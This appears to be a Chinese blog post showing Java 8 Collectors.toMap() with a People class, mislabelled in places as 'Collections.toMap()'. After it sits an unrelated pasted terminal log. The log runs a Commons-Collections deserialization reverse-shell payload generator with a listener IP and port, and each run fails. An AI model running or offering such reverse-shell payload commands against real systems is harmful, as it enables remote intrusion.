Java8 - Collections.toMap()方法

本文详细介绍了如何在Java中使用Collections的toMap()方法,通过People类实例展示如何根据name属性生成key,address属性生成value,以及分别收集单独属性和对象本身的映射过程。

Collections.toMap()方法使用
1)实体类:

@ToString
@Data
@AllArgsConstructor
public class People {

    private Integer id;
    private String name;
    private String address;
    private Integer age;
}

2)测试类

 public static void main(String[] args) {
        People people1 = new People(1, "only-qi1", "bbb", 11);
        People people2 = new People(2, "only-qi2", "ccc", 12);
        People people3 = new People(3, "only-qi3", "dddd", 13);
        People people4 = new People(1, "only-qi4", "fff", 14);
        People people5 = new People(2, "only-qi5", "eee", 15);
        People people6 = new People(1, "only-qi6", "ttttt", 11);
        ArrayList<People> arrayList = new ArrayList<>();
        arrayList.add(people1);
        arrayList.add(people2);
        arrayList.add(people3);
        arrayList.add(people4);
        arrayList.add(people5);
        arrayList.add(people6);

        System.out.println("-----------------toMap()方法: 收集一下集合中每个对象的两个单独的属性---------------");
        Map<String, String> collect = arrayList.stream().collect(Collectors.toMap(People::getName, People::getAddress));
        for (String s : collect.keySet()) {
            System.out.println("key值是:" + s + "=========" + "value的值是" + collect.get(s));
        }

        arrayList.stream().collect(Collectors.toMap(People::getName, p -> p));

        System.out.println("-------------------toMap()方法:收集一下属性和对象本身----------------------");
        Map<String, People> collect1 = arrayList.stream().collect(Collectors.toMap(People::getName, p -> p));
        for (String s : collect1.keySet()) {
            System.out.println("key值是:" + s + "=========" + "value的值是" + collect1.get(s));
        }
    }

注:
使用toMap()函数之后,返回的就是一个Map了,自然会需要key和value。
toMap()的第一个参数就是用来生成key值的,第二个参数就是用来生成value值的

┌──(root㉿kali)-[~/JavaDeserH2HC] └─# javac -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Unrecognized option: -encoding Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# javac -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -encoding UTF-8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Unrecognized option: -encoding Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. ┌──(root㉿kali)-[~/JavaDeserH2HC] └─# java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.129.146:4444 Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make field transient java.util.HashMap java.util.HashSet.map accessible: module java.base does not "opens java.util" to unnamed module @76ed5528 at java.base/java.lang.reflect.AccessibleObject.throwInaccessibleObjectException(AccessibleObject.java:391) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:367) at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:315) at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:183) at java.base/java.lang.reflect.Field.setAccessible(Field.java:177) at ReverseShellCommonsCollectionsHashMap.main(ReverseShellCommonsCollectionsHashMap.java:105)
最新发布
07-09
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值